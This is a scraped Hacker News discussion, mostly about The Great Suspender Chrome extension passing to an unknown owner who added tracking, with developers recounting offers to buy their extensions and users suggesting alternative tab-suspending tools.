KitDuncan(10000) 2 days ago [-]

Franz and Beeper aren't very comparable. Franz is just the usual webapps combined in one wrapper if I understand correctly. Beeper actually bridges all chat services into a unified experience.

dkman94(10000) 3 days ago [-]

Is this the wuphf rebrand?

xlance(10000) 3 days ago [-]

Just watched this episode earlier today, my exact thought ^^

recursivedoubts(10000) 4 days ago [-]

Please, someone do this for email.

tracyhenry(10000) 4 days ago [-]

Doesn't your phone's email app support multiple email accounts? Gmail and Outlook both support mail forwarding too?

fangyrn(10000) 4 days ago [-]

what do you mean?

jcul(10000) 3 days ago [-]

This looks great.

I'm just in the middle of trying to set up a home server using dendrite to do exactly this (mainly for fun).

This looks really well done and polished though.

It's great to see services like this using matrix as it can only mean positive feedback for the protocol / server code.

Is it using synapse or dendrite (or something else) for the server?

erohead(10000) 3 days ago [-]

we use synapse right now. Hopefully moving to dendrite when appservice support is added

lc3sim(10000) 3 days ago [-]

Congrats on the launch! My understanding of the space is that there is a great desire for 'super powered' messaging - especially over text. Any chance 'send later' is a part of your roadmap? Or possible to implement using your API?

erohead(10000) 3 days ago [-]

definitely on roadmap

ggm(10000) 3 days ago [-]

PSI is dead, all hail Adium.

Adium is dead, all hail Beeper.

Is that it?

GekkePrutser(10000) 3 days ago [-]

No. Adium does everything inside the client app. This used a matrix server so you can connect from multiple clients even if the source network doesn't support that.





Historical Discussions: I no longer trust The Great Suspender (January 20, 2021: 884 points)

(885) I no longer trust The Great Suspender

885 points 4 days ago by davidfstr in 10000th position

dafoster.net | Estimated reading time – 2 minutes | comments | anchor

I no longer trust The Great Suspender

Jan 20, 2021 – Filed under: Productivity13 Software54 Offtopic6

I know a number of folks use The Great Suspender to automatically suspend inactive browser tabs in Chrome. Apparently recent versions of this extension have been taken over by a shady anonymous entity and is now flagged by Microsoft as malware. Notably the most recent version of the extension (v7.1.8) has added integrated analytics that can track all of your browsing activity across all sites. Yikes.

Recommendations for users of The Great Suspender (7.1.8):

Temporary easy fix

  • Disable analytics tracking by opening the extension options for The Great Suspender and checking the box "Automatic deactivation of any kind of tracking".
  • Pray that the shady developer doesn't issue a malicious update to The Great Suspender later. (There's no sensible way to disable updates of an individual extension.)

Permanent harder fix (👈 Recommended!)

  • Close as many unneeded tabs as you can.
  • Unsuspend all remaining tabs. ⏳
  • Uninstall The Great Suspender.
  • Download the latest good version of The Great Suspender (7.1.6) from GitHub, and move it to some permanent location outside your Downloads folder. (It should be commit 9730c09.)
  • Load your downloaded copy as an unpacked extension. (This copy will not auto-update to future untrusted versions of the extension.)
  • All done! 🎉

Caveat: My understanding is that installing an unpacked extension in this way will cause Chrome to issue a new kind of security prompt every time it is launched, which you'll have to ignore. 😕

Other options

Other browser extensions for suspending tabs exist, as mentioned in the Hacker New discussion for this article. However I have not conducted my own security review on any of those other extensions, so buyer beware.




All Comments: [-] | anchor

peanut_worm(10000) 4 days ago [-]

Why do people keep 100s of tabs open at a time? I get irritated if I have more than 8 open.

eznzt(10000) 4 days ago [-]

Because they have not found the bookmarks feature yet.

sixothree(10000) 4 days ago [-]

Why do people not understand why I have 100s of tabs open? I get irritated when asked this question.

blinding-streak(10000) 4 days ago [-]

Tabs are my lazy man's to-do list. Leaving them open saves all the context I need. Closing them means I have to spend effort to get them back.

ortusdux(10000) 4 days ago [-]

Try the extension 'Session Buddy'. You can view all open tabs and windows, group them as needed, and then save, close, and reopen sessions and groups.

I routinely research several related topics for a project, and I will need 10-30 tabs per topic open at once. Surprisingly, chrome manages to handle 100+ tabs on my system with out issue.

angelbar(10000) 4 days ago [-]

Please dont have more than 8 tabs open... problem solved.

Other persons have other treshold... and use cases.

Some user support need many searches that will help if be documented later... if I bookmark all of them I will never do that.

rbanffy(10000) 3 days ago [-]

I multitask. A lot. It's my job.

You should see my desktop

dbbk(10000) 4 days ago [-]

I'm a software developer and am always hovering around this mark. It's usually from digging through documentation, having multiple tabs with different areas of the app you're working on open, productivity tabs like Slack and Gmail, then personal tabs like Reddit and YouTube

fancy_pantser(10000) 4 days ago [-]

As the developer of a pretty popular 'utility' browser extension, I've been shocked by the volume of email I get every week about it.

On a daily basis, I will get requests to sell the extension. Once or twice a week, I will receive an offer to add 'a couple lines of code' to my extension which are always generously described as 'allowed in the Chrome Web Store' by little fly-by-night organizations that only even have a landing page half the time and usually have throwaway-looking gmail accounts. Out of curiosity, I've asked a few what their code does and they never fully describe it, but it either collects analytics to ship home (my extension runs on all sites, so it's appetizing to them!) or places paid results at the top of any search results, for which I can make 'thousands of dollars a month based on the number of North American users I have'.

Here is an example email I received yesterday. It's a good example of how they call it 'an SDK' and looks like one of the more legit ones (they registered a domain to send email from, at least).

  We at [redacted] are considering purchasing the complete license and ownership of the extensions which have 50K+ active users, may I know if you would be interested in selling? If so, - what is your estimated price?
  Regarding the SDK monetization which we discussed earlier, as it is not distractive and is compatible with any other monetization. We have straightforward terms and provide support for your users agreement. Our partners generate 3-20 K USD monthly with our solution for the browser extensions.
  As a kind reminder, we are [redacted] — a reputable global peer-to-peer ethical proxy network. All our clients are big reputable companies, we authorize their business before providing any proxy plans. 
  Look forward to your further feedback and discussing further details of our financial proposal for your Software in a short Zoom call or here by emails.
Finally, I am also hounded by teams at Microsoft and Apple, who want me to port the extension to their new plugin ecosystems so it can be featured/showcased. I worked with Apple on one similar thing for an extension and it caused such a huge jump in support and feature requests from users that I was overwhelmed, so I am not keen to do it again until I have more free time. They can't understand why I don't want to grow by tens of thousands of users a week, but I'm just one person and don't make money from it whatsoever.
teachtyler(10000) 3 days ago [-]

Is this any different than Railway Programming? Or is this more specifically applicable to high order components?

https://fsharpforfunandprofit.com/rop/

jlevers(10000) 2 days ago [-]

I fell for one of these offers on the first thing I made that got any traction -- it was a browser extension that solved an issue with a common photo hosting site, and I organically ended up with 25,000+ users, mostly on Chrome.

Eventually the photo hosting service itself solved the problem that my extension was solving, but pretty much everyone who'd installed the extension still had it installed.

At some point, a company offered to buy it from me for a couple thousand dollars -- I was 18, and it seemed like a miracle! They asked me to add some code to the extension, and I assumed their intentions were good. I added their code, which I now realize was some sort of tracking/advertising program...and my extension promptly got taken down by Google.

Quite the learning experience!

LockAndLol(10000) 4 days ago [-]

> Finally, I am also hounded by teams at Microsoft and Apple, who want me to port the extension to their new plugin ecosystems so it can be featured/showcased.

Do they ask you to do that for free or is there a monetary amount they tack on?

anon321321323(10000) 3 days ago [-]

The monetisation angle is hard. As soon as you activate it then the expectations ramp up even more than the (likely) current flow which is likely non-trivial right now as it stands. My experience on a smaller scale was only tens-of-emails per day. And that was actually overwhelming for my little hobby that had no possibility of monetisation. The idea of thousands of support emails from people with expectations doesn't spark joy at all.

Rhetorical questions: Do you want to support this thing? How much time does it take? Is this effort you want to spend? Are you not monetising this for a purpose? Are you happy with that purpose (obviously yes)? Do you still enjoy spending time on it? Do you see that time as well spent? Are the expectations from your side still being met? Are the expectations from everyone else still reasonable?

After all those questions, the basic answer is probably: you don't want to monetise it because it will wreck the actual purpose for which its intended or alternatively there isn't much of monetisation possibility due to its nature. But you can't spend more time on it because you have other Things to Do, like making money from other ways.

(At least this is my impression based on my experience)

alfiedotwtf(10000) about 22 hours ago [-]

Make sure your email account and browser extension accounts are secure... if you're a valuable target for scammers, you're also a target of getting your browser extension stolen from you.

reaperducer(10000) 4 days ago [-]

I have two thoughts about this.

First, respond to every inquiry by telling them the price is USD$70,000,000.00. And stick to that price. Many of these sleazy companies get their leads from the same 'lead generators,' who will eventually take you off their lists because they know your terms are unreasonable. It doesn't work for everyone, but when I did it to spammers trying to buy my mailing list, it significantly reduced the volume of inquiries.

Second, put a page on your web site listing all of the offending companies, with links to the letter you received.

Apr 1, 2021 - Company X promised $3-5k/month if I alter your search results. Link.

Apr 3, 2021 - Company Y promised $1-5k/month if I promote thier product on other people's web pages. Link.

A lot of people on HN will claim 'O, noes! Lawyers! Libel!' I wouldn't worry about it. These people don't have the money for lawyers, are usually in geographies without legal systems, and don't want their names and other information exposed in a public legal filing. Plus, all you're doing is stating facts.

mcjiggerlog(10000) 4 days ago [-]

I also have some extensions with users in the tens of thousands and can corroborate all of this. Out of curiosity I strung one 'buyer' along to see how much they would offer and they quoted $0.20 per user. With the amount of money being thrown about, as sad as it is, it's no surprise that some devs end up selling out their users.

In my opinion extensions have to be one of the worst sources of spyware these days. I am now extremely conservative with what extensions I use, and definitely would only use extensions from open source projects or companies that I trust.

Something needs to change. As long as extensions have such weak sandboxing along with such poor app review, Google/Mozilla etc will keep willingly shipping spyware unbeknownst to their users.

At least some mechanism of creating and verifying reproducible builds would go a long way.

milankragujevic(10000) 3 days ago [-]

Is this Luminati? [0] Because this sounds so much like Luminati ('Hola').

[0] https://luminati.io/

nitrogen(10000) 4 days ago [-]

Do extensions require any permissions to make requests? It seems like a strict sandbox that prevents data from flowing out of a page via an extension would help, if the extension is something like a JSON renderer.

MetalGuru(10000) 4 days ago [-]

Crazy. Can I ask what extension this is? Wish I had the problem of tens of thousands of new users wanting my product weekly :)

hosteur(10000) 4 days ago [-]

What is your extension called?

criddell(10000) 3 days ago [-]

Why redact? I'm curious about who is doing this.

jrochkind1(10000) 4 days ago [-]

With that kind of money being offered (assuming it is in the ballpark of true)... I wonder how many popular free extensions already have some of that junk in it and nobody's noticed. Maybe many of them? I could see a lot of devs who started out writing an extension as a non-paying hobby, having trouble turning down the free money.

I feel like this is another prong in the story about threats to sustainability of open source done the way it used to/has been done previously.

ugh123(10000) 4 days ago [-]

Ask Apple or Microsoft for a full time job to work on it =)

l3s2d(10000) 4 days ago [-]

Did Apple compensate you for your work porting your extension?

EGreg(10000) 4 days ago [-]

Thank you for sharing this, fancy_pantser. Are you the current maintainer also, or the current developer?

This is what capitalism looks like, folks. Someone 'built it' so they now privately 'own it', no matter how big it gets. It's not put into the hands of an organization. The profit motive is quite strong, which is why someone can be 'corrupted' by very tempting messages like this. If you had a lake or a forest privately owned by one or two people, and they had a lot of debts, they could easily sell it to polluters and loggers.

Some people scoff and say 'socialism has been tried, it never works.' I admit that socialism simply trades one class of elites (the capitalists with a lot of shares) for another (the bureaucrats with a lot of political clout). BUT! I would like to say that socialism is not the only alternative. The other alternative is decentralized systems with no private ownership. I'm talking about science, open source software, and so on. There can be a Merkle tree of version updates (e.g. git version control) and each one can have various reputable organizations (like Zagat for software) building their reputation vetting it. Then, each community would run their own app store (think Wordpress plugins) which would work with these reputable organizations. There would be no heroes, no celebrities, no tweets at 3 am to 5 million people, no pulling from repos without peer review, no scientists instantly believed after publishing on arxiv.org .

Congratulations for building a popular extension, fancy_pantser. You live in a world where you it's really bad to 'criticize the profit', and where building it means you are responsible for it no matter how big it gets, but then we are all depending on your integrity and ability to rebuff life-changing amounts of money to not mine our data. We can pass laws to punish people after the fact, or we can gradually change our culture by rejecting 'immediate gratification' of updates that are not vetted, just as corporations have done with bleeding edge vs stable Linux distros etc. Unfortunately, the Web has made it so that anything can be updated at any time, with no sysadmins or reviewers in the loop. It's a wonder more malware isn't silently everywhere already.

djrogers(10000) 3 days ago [-]

> so I am not keen to do it again until I have more free time

Aww man, I'm really sad to here that RecipeFilter won't be coming to Safari anytime soon. I really got my hopes up after it was in the keynote!

Since Apple distributes extensions in the App Store, have you though about charging a buck or two for the Safari version? I know everyone says this, but I'd pay...

kazinator(10000) 4 days ago [-]

> what is your estimated price?

Say, $5 per active user; non-exclusive license: I can maintain my fork of the extension, and use any of the code in new projects.

bombcar(10000) 3 days ago [-]

I feel there's a moneymaker here - create a popular open source extension, sell it off when you get a good deal, fork the code and let everyone find out the old version is 'evil'.

mkj(10000) 4 days ago [-]

It seems auto-updating browser extensions are riskier than leaving them non-updated?

netsharc(10000) 4 days ago [-]

It'll be a 'great' day when someone manages to do big damage with code that Google hosted and delivered to the victims... IMO it's just a matter of time.

SiteRelEnby(10000) 4 days ago [-]

Blindly letting anything auto-update.

Anthony-G(10000) 4 days ago [-]

I recently had to install Certbot on a CentOS 8 server and discovered that the Certbot documentation recommeds using Snap (for almost every popular GNU/Linux release). They have their reasons[1]. I figured it was time to investigate using Snap and the benefits it could provide.

While researching, I found many users reporting that forced updates of software installed by Snap caused many problems and I decided against using it; I was able to install Certbot via a good old-fashioned RPM from EPEL.

I also removed Snap from a different Ubuntu server which had recently been upgraded to 20.04 (I wasn't using LXD on that server so there was no need for it).

1. https://community.letsencrypt.org/t/how-to-install-certbot-w...

FWIW, I've been allowing Apt and Yum package managers to automatically update for about 8 years without any problems. The only manual OS updating I do is for a set of physical (non-virtual) servers that are operational 24/7.

brundolf(10000) 3 days ago [-]

Among other things, this is why when people say 'HN doesn't need a dark mode, just use an extension', that isn't a valid solution. For years now I've refused to install any extensions that aren't too-big-to-compromise (which in practice - for me - means AdBlock Plus and maybe React Dev Tools), and that should be everyone's policy. Any extension whose compromise wouldn't damage the reputation of a billion-dollar organization is simply too juicy of an attack vector.

bsimpson(10000) 3 days ago [-]

I agree that extension security isn't considered nearly as often as it should be, though my barrier isn't quite yours. For me, it comes down to developer trust and permissions. If someone I trust wrote a small, feature-targeted extension, I would probably be comfortable installing it. Similarly, if the permissions an extension has are tightly scoped to its use case, I'm more comfortable installing it.

Now that I write that, I'm not sure how permissions and upgrades go together. If an extension that had tight permissions relaxes them I'd get notified before they took effect, right?

raunakdag(10000) 3 days ago [-]

It's funny you mention AdBlock Plus but not uBlock Origin in this situation. I'd say the latter is much, much better than the former.

bijant(10000) 4 days ago [-]

This is really Google's fault. They make it impossible to turn off automatic updates for Chrome extensions from their store. That would be kind-of-ok if they actually had a rigorous approval process. But they don't. The Chrome Web Store has become one of the prime Vectors for malware. The only way to be safe is to exclusively download releases from the extensions github repo and to manually install them.

Kagerjay(10000) 4 days ago [-]

I never even patch automatic updates to my OS either (e.g. OS bigSur). I'd rather not guinea pig the latest updates and they usually don't add all that much value for chrome extension releases either, so a way to turn off automatic updates in chrome is highly desirable for me.

Download and unpacking from github is a pita, I'd need to do this to each of my computers seperately

simias(10000) 3 days ago [-]

I don't think turning automatic updates would be the right way to deal with this. See: Windows. If a piece of software becomes malware it needs to either be forked or retired completely, running unmaintained legacy versions of software is not sustainable.

I have plenty of things I want to complain about when it comes to Google's user-adversity but mandatory automatic updates is definitely not one of them.

If you're a technical user and really know (or really think that you know) what you're doing there are ways to effectively freeze a given version of an extension.

sn_master(10000) 4 days ago [-]

Or just add permissions and ask the user when the extension asks for new ones? e.g. permission to talk to the outside world that something like TGS shouldn't need to just do its job.

LegitShady(10000) 4 days ago [-]

>The only way to be safe is to exclusively download releases from the extensions github repo and to manually install them.

Or not use chrome

metalliqaz(10000) 4 days ago [-]

The fact that Google has not addressed this gaping security hole in Chrome is borderline criminal.

AlexandrB(10000) 4 days ago [-]

In general, taking control away from users sets up all kind of bad incentives. For example, automatic updates with no way to downgrade save vendors from having to compete with their own older versions. This means regressions in functionality or design can be pushed out with little recourse for users other than complaining online. This is compounded by ecosystem lock-in and lack of data portability. The software industry as a whole is heading towards treating users more and more paternalistically.

jrochkind1(10000) 4 days ago [-]

Users never upgrading their software certainly also leads to security problems though, it's not a solution, and it is reasonable to try to set things up so this doesn't happen.

imedadel(10000) 4 days ago [-]

I recently switched to Auto Tab Discard.[1] It uses the browser's built-in tab suspending. It doesn't have all the features of TGS, though.

Edit: OneTab[2] is also pretty good when you have lots of tabs open for research or work.

[1]: https://github.com/rNeomy/auto-tab-discard

[2]: https://www.one-tab.com/

anotheryou(10000) 4 days ago [-]

perfect! I was looking for [1] the other day. Plays nicely with sideberry which uses the same api but can't do 'unload all other tabs'.

philgeorge(10000) 3 days ago [-]

Has anyone here used Tabs Outliner?

I used to use TGS excessively and TabsOutliner has completely changed my workflow. Now I just sort tabs into categories and then kill the entire window until I am in that context.

It sorta looks dated, but I find it amazing:

https://chrome.google.com/webstore/detail/tabs-outliner/eggk...

BlueGh0st(10000) 3 days ago [-]

I personally use OneTab but it's worth noting that in the GH issue on TheGreatSuspender there's some ongoing (and mostly unsubstantiated, in this thread) concerns about OneTab's data collection and management[0].

[0] https://github.com/greatsuspender/thegreatsuspender/issues/1...

Debug_Overload(10000) 4 days ago [-]

I've been using it for the last few weeks, and it's been pretty good so far. It doesn't suspend music tabs when they're not playing (which TGS did automatically), but nothing much to complain about.

frob(10000) 4 days ago [-]

Google Chrome now has tab grouping. In Beta, you can click on the group name and collapse the tabs. Based on their reload times, it seems chrome suspends the tabs in the background when you collapse the group.

katsura(10000) 4 days ago [-]

Oh, this is awesome. I'm on Linux so I've been using Chromium, where this is already available. Pretty neat.

Edit: looks like it works in Chrome as well.

nottheonion(10000) 3 days ago [-]

This looks promising. To activate the suspend on collapse feature enter 'chrome://flags/' into the address bar and make sure these experimental features are 'enabled': #tab-groups, #tab-groups-collapse, #tab-groups-collapse-freezing. I also enabled: #tab-groups-auto-create.

EGreg(10000) 4 days ago [-]

And this is why we need to rethink how we do software distribution.

Package managers are nice for the lazy, but then we get stuff like this:

https://qz.com/646467/how-one-programmer-broke-the-internet-...

Actually you might be pulling a bunch of malicious updates in 2-3 modules deep in your dependency tree anytime.

As a society we should be moving away from a culture of "immediate" updates eg on Twitter etc. And go towards more "peer review" like in science. Otherwise we are putting responsibility on every individual to verify all sides of the story and get informed. They don't and society gets more and more dicided. Imagine if a scientist tweeted at 3am and half their followers instantly believed them. Or if an open source contributor's pull request was instantly accepted and pulled overnight by everyone. That's why USA and other countries are now so divided politically. Individual responsibility of 100% of the downstream nodes is strange to outsource responsibility to.

I wrote about this back in 2012 predicting what would happen:

https://magarshak.com/blog/?p=114

Mediterraneo10(10000) 4 days ago [-]

Recently I wanted to build one of Signal's libraries so that I could use it with signal-cli. It astonished me that building this secure messenger requires automatically downloading a whole host of third-party dependencies through wget from some disparate repositories, which presumably had received little vetting.

What happened to the notion of using stable, centralized package repositories like Debian's or Red Hat's in order to build one's software? I did a lot of Free Software development in the early millennium, then was away from the scene for a few years, and when I came back this desire for convenience above all else really baffles me.

specialist(10000) 4 days ago [-]

Thanks for sharing.

I'm now framing the problem as 'inauthentic speech'.

> ...go towards more "peer review" like in science.

Ditto journalism and reporting.

This is a universal problem. The core solution remains the same.

  Cite your sources
  Show your work
  Sign your name
WRT John Walker's screed, I really thought certificates and web of trust would have become the norm by now. Anything unsigned would be treated as gossip or worse. Certs could be revoked as needed.

Further, every trusted digital relationship would start with a key exchange. Vs relying on username and password. eg Banks would issue me a Secure Enclave of some sort, like a USB fob.

I'd like to understand why this didn't happen. My best guess is 'Worse is better' enabled predators and parasites. Which has been acceptable during the gold rush.

aitchnyu(10000) 4 days ago [-]

Why didnt browsers start warning users when an extension updated after changing owners?

davidfstr(10000) 3 days ago [-]

<nope>The owner in the extension metadata on The Great Suspender hasn't been updated (to my understanding) so the Chrome Web Store doesn't even know that the owner has been changed.</nope>

Actually it does appear that the owner was changed from 'deanoemcke' to 'thegreatsuspender' (the new mystery owner) on the Chrome Web Store page.

I agree that warning when updating an extension if the stated owner has changed would be valuable.

kburman(10000) 4 days ago [-]

Here's list of other extensions which have been recently flagged by community for similar behaviour

- Auto Refresh Premium, static.trckljanalytic.com

- Stream Video Downloader, static.trckpath.com

- Custom Feed for Facebook, api.trackized.com

- Notifications for Instagram, pc.findanalytic.com

- Flash Video Downloader, static.trackivation.com

- Ratings Preview for YouTube, cdn.webtraanalytica.com

Copied from https://github.com/greatsuspender/thegreatsuspender/issues/1...

sn_master(10000) 4 days ago [-]

I wonder how many of those tracking websites or even the extensions themselves are owned by the same entity. That's a pretty common practice.

ramraj07(10000) 4 days ago [-]

My general policy is to never install any extension that has full browser acceess. Except if it's from the faang companies themselves.

ant6n(10000) 3 days ago [-]

I wonder whether paying for extensions could be a way to build more trust.

rplnt(10000) 4 days ago [-]

Is there an extension that can track my extensions?

zerd(10000) 3 days ago [-]

My wife installed an addon to be able to post Instagram posts from her laptop, and then suddenly clicking on google search results would sometimes, but not always hijack and redirect to bing, and then click on one of the ads. But it was clever because it only happened sometimes, and if she retried it it didn't happen, so whenever she would try to show me, it didn't happen. I just removed all her addons and the problem went way, so not sure which one it was.

ufmace(10000) 4 days ago [-]

It's things like this that make me a lot more reluctant to install extensions that might be moderately convenient. Maybe they're okay now, but it's too much of a burden to keep track of what I have installed and which ones are known to be doing something nasty.

Another loser in this whole game is the honest hobby extension developers, who have to deal with the power-users who might promote their extensions not wanting to bother for fear of not being able to keep a watch for potential malicious updates for all of them.

AlphaWeaver(10000) 4 days ago [-]

Quick note about the workaround mentioned in this article - the suggestion to download the last known good version of the extension and sideload it is a good one, but it has some problems on Chrome.

Chrome has features to dissuade users from installing extensions from outside the Chrome Web Store. If you load an unpacked extension, Chrome will issue an ominous warning (something like "this extension is untrusted, click here to uninstall") on every launch.

One could argue this is for security, but this change was implemented around the same time that Google disabled the ability to self-host extensions that install into Chrome. Really this is a mechanism to shut out independent extension developers from any potential plausible third-party distribution method that doesn't rely on the Chrome Web Store (which Google controls and aggressively moderates.)

Use Firefox.

nousermane(10000) 4 days ago [-]

> Chrome will issue an ominous warning on every launch.

That's google's shtick. They do the same if you unlock bootloader on your android phone. Black nag screen with scary text on every reboot.

tyingq(10000) 4 days ago [-]

You could download it and publish it yourself. I have a extension I wrote myself, and while I occasionally see something about having to pay $5 in the extension management panel, it never forces me to do so. If they closed that hole, perhaps it's worth the $5 developer registration fee to some.

kobalsky(10000) 3 days ago [-]

> Chrome has features to dissuade users from installing extensions from outside the Chrome Web Store. If you load an unpacked extension, Chrome will issue an ominous warning (something like "this extension is untrusted, click here to uninstall") on every launch.

I've been sideloading vimium and thegreatsuspender for years and I haven't seen this message ever. Not on Mac nor Linux.

squaresmile(10000) 4 days ago [-]

I'm pretty sure if you enable Extension Developer Mode, you won't get that nagging message on launch.

gcatalfamo(10000) 4 days ago [-]

There is another problem by sideloading the extension: you don't have cloud sync anymore, thus forcing you to sideload on every computer you have.

TedDoesntTalk(10000) 4 days ago [-]

> Use Firefox.

Firefox has similar restrictions... you have to side load through Developer Options. If you're not a developer, you will be questioning why you're doing this and the less-technically inclined will simply never do it (like my wife)

And it is not entirely nefarious as you suggest. It limits the damage that sideloaded extensions did roughly 2010 and earlier. The WebExtension API was another assault on extensions. These days, chrome and Firefox have essentially closed a huge attack vector even though extensions are a shadow of their former selves. I was a skeptic for a long time (why should power users pay for the faults of everyone else?) but no more. Kudos.

0x262d(10000) 3 days ago [-]

I'd switch to firefox but it is noticeably slower loading facebook and twitter, the sites I go to most often, and I trust it only like 25% more than chrome. :/

TheRealPomax(10000) 4 days ago [-]

Is there a reason this extension still exists, given that tabs get heavily deprioritized when not in focus, and have been for many, many versions now?

spiffytech(10000) 4 days ago [-]

Chrome throttles tab CPU activities when backgrounded, but doesn't clear memory for the tab. For users like me who usually have 50-800 tabs open across all my browser windows, that really adds up. I also appreciate (err... appreciated) The Great Suspender because I didn't want all of those tabs active every time I opened a browser, so I'd have scores of tabs that never even got loaded, but were ready to go the moment I wanted to return to them.

dbbk(10000) 4 days ago [-]

They get throttled but still kept in memory. This drops them from memory.

alyandon(10000) 4 days ago [-]

The MS Edge dev channel has a basic form of tab suspending built into it now. Based on my non-rigorous testing it seems to actually save more memory than TGS ever did so I just removed the extension entirely.

It is really a shame that basic functionality like this isn't built into more browsers and we have to rely on extensions to fill the gaps just to keep memory usage under control for tab-a-holics like myself. :(

davidfstr(10000) 3 days ago [-]

> It is really a shame that basic functionality like this isn't built into more browsers and we have to rely on extensions to fill the gaps just to keep memory usage under control for tab-a-holics like myself. :(

The way I see it, extension developers get to come up with innovative new features first, and then the first-party vendors like Apple, Google, and Microsoft take note and eventually do just that: Integrate it into their own products.

For example: The Great Suspender → Sleeping Tabs [experimental] (Microsoft/Edge); Flux → Night Shift (Apple/iOS); Growl → macOS Notifications (Apple/macOS); Swype → iOS Built-in Keyboard (Apple/iOS); etc

Edit: Fix formatting.

shawnz(10000) 4 days ago [-]

In fact tab suspending/discarding has been built into Chrome for some time now and Great Suspender does optionally make use of the built-in functionality.

I still sometimes use extensions like Great Suspender to give more control over the process (e.g. to suspend more aggressively on RAM-constrained machines or where the user uses a lot of tabs).

Since this news came out I have switched to 'Auto Tab Discard'.

jannes(10000) 4 days ago [-]

Chromium-based browsers and Firefox have discarding built-in.

chrome://discards/ has some advanced options (in Chromium-based browsers).

Funnily enough, Google mentions The Great Suspender as inspiration for this feature in the August 2015 changelog: https://developers.google.com/web/updates/2015/09/tab-discar...

> We actually had a great chat with the author of the Great Suspender extension while developing tab discarding and they're glad to see us natively tackling this problem in ways that are more efficient than an extension might be able to, such as losing the state of your user inactions.

dbbk(10000) 4 days ago [-]

The functionality is built-into Chrome, the native tab discarding just happens when it thinks memory pressure is too high. Extensions like this give you extra granularity to set it to happen after a timer.

otterpro(10000) 4 days ago [-]

Wow, this is why just recently my Macbook pro was registering high CPU usage even when all tabs were asleep using Great Suspender. For some reason, Chrome was registering high CPU usage, and I thought it was some Chrome bug.

michaelcampbell(10000) 4 days ago [-]

You lost me. What's this 'this' in 'this is why', exactly?

asadkn(10000) 4 days ago [-]

I have always used The Great Discarder instead [1]

It's by the same dev too but it uses Chrome's Native Tab Discarding feature and I found it way more efficient (at the time I started using it a few years ago - haven't compared recently).

[1] https://chrome.google.com/webstore/detail/the-great-discarde...

monkpit(10000) 4 days ago [-]

I like the idea of using the discard mechanism, but if it's from the same developer, wouldn't it be at risk of having the same thing happen?

shawnz(10000) 4 days ago [-]

Great Suspender eventually added functionality to use Chrome's native tab discarding as well and so they stopped updating Great Discarder.

Aardwolf(10000) 4 days ago [-]

Doesn't chrome already suspend background tabs without plugin? At least I'm unable to properly have browser games running unless they're in a visible tab.

rolfvandekrol(10000) 4 days ago [-]

Browser games, implemented in Javascript, usually depend on requestAnimationFrame, which is not executed in background tabs. See https://developer.mozilla.org/en-US/docs/Web/API/window/requ... for more info.

qwerty456127(10000) 4 days ago [-]

By the way, is there an extension (I'm interested in both Firefox and Chrome) which would force all the new (background) tabs to be created in the suspended state (like if you had opened them in background and then restarted the browser) and only start loading after you actually open them?

kchr(10000) 3 days ago [-]

Same here!

gneray(10000) 3 days ago [-]

Ditto

philtar(10000) 2 days ago [-]

Auto Tab Discard adds an option to your right click menu 'Open in Discarded Tab'

acdha(10000) 3 days ago [-]

This is why I stopped using extensions in any browser years ago unless it came from a trusted company I pay directly (i.e. 1Password). The broken economic model means that the developers always have pressure to cash in on a popular extension and Google has set things up to make abuse fast and easy with automatic silent updates and their usual skimping on human review. By the time the news about TGS came out most users already had the next release installed.

jeffbee(10000) 3 days ago [-]

Indeed. There was never a basis for trusting The Great Suspender in the first place. 'Read and change all your data' is a permission that should be reserved for code you wrote yourself.

lathiat(10000) 3 days ago [-]

I also got rid of quite a few browser extensions that were handy but I just couldn't bring myself to spend time trusting them.

It would be an interesting exercise to try and build an open source organisation around developing and publishing extensions in the open.

Centigonal(10000) 4 days ago [-]

More discussion on GitHub: https://github.com/greatsuspender/thegreatsuspender/issues/1...

Quite similar to what happened to Nano Adblocker/Defender a few months ago.

jancsika(10000) 4 days ago [-]

> Disable analytics tracking by opening the extension options for The Great Suspender and checking the box "Automatic deactivation of any kind of tracking".

> Pray that the shady developer doesn't issue a malicious update to The Great Suspender later. (There's no sensible way to disable updates of an individual extension.)

Does Debian ship packages for individual browser extensions?

I mean, if they do I'm sure it's not scalable and-- after spending time reading debuild manual-- a giant, archaic pain in the ass.

On the other hand, all these app delivery systems are so damned pernicious and require constant vigilance. We may have arrived at a moment in time where this is actually a difficult decision:

* pay somebody a living wage to burrow down into Debian's WoT bureaucracy and add at least a selection of this functionality without phoning home

* continue playing the most tedious game of whackamole with a whackamole game that mines all our data in order to learn how best to beat all users at whackamole

vaduz(10000) 4 days ago [-]

> Does Debian ship packages for individual browser extensions?

They do, for a couple of more notable ones (HTTPS Everywhere, uBlock Origin, Proxy Switcher, etc.) [0]

> I mean, if they do I'm sure it's not scalable and-- after spending time reading debuild manual-- a giant, archaic pain in the ass.

The biggest problem is to find a person to be a maintainer that is willing to keep up with the upstream development.

[0] https://packages.debian.org/search?keywords=webext-&searchon...

wintermutestwin(10000) 4 days ago [-]

At this point, I would gladly pay good money for a browser that prevented ads and tracking, provided most of the standard plugin functionality oob and vetted the rest. This whole mess is a massive time suck.

abecedarius(10000) 3 days ago [-]

I'm using Brave. Not sure it exactly matches what you want, but it's the closest I've found.

mikhailfranco(10000) 2 days ago [-]

Looks like the 'last known good' version 7.1.6 is now blocked by the TGS server.

Workaround to reopen a page is just to cut'n'paste the original URL from a parameter at the end of the TGS URL.

mikhailfranco(10000) 2 days ago [-]

It appears 'Back' may also work in restoring the page.

skrowl(10000) 4 days ago [-]

Just sent him this email:

Saw your article via HN.

As an easier permanent fix, just uninstall The Great Suspender and install Auto Tab Discard (https://add0n.com/tab-discard.html). It does the same thing.

It's available on:

Firefox - Auto Tab Discard – Get this Extension for Firefox (en-US)(https://addons.mozilla.org/en-US/firefox/addon/auto-tab-disc...)

Edge - Auto Tab Discard - Microsoft Edge Addons (https://microsoftedge.microsoft.com/addons/detail/auto-tab-d...)

or even if you're still using Chrome - Auto Tab Discard - Chrome Web Store (https://chrome.google.com/webstore/detail/auto-tab-discard/j...)

jschuur(10000) 4 days ago [-]

Discarding inactive tabs is not what I use The Great Suspender for. I use it to... suspend tabs. Auto Tab Discard doesn't seem to do that.

nguyenkien(10000) 4 days ago [-]

Edge (dev) has built-in sleep tabs. It work quite good

michaelcampbell(10000) 4 days ago [-]

I wish they had one that would do that based on memory or CPU usage of a tab.

tyingq(10000) 4 days ago [-]

I'm now curious how much money the original developer was paid to hand it over. I imagine he/she knew what the buyer's plan was.

probably_wrong(10000) 4 days ago [-]

According to the homepage of a company that buys apps, and as a first approximation, that would be 'anywhere between 8x - 36x monthly revenue for apps. In most cases this is well above the standard market value of 6-12x'.

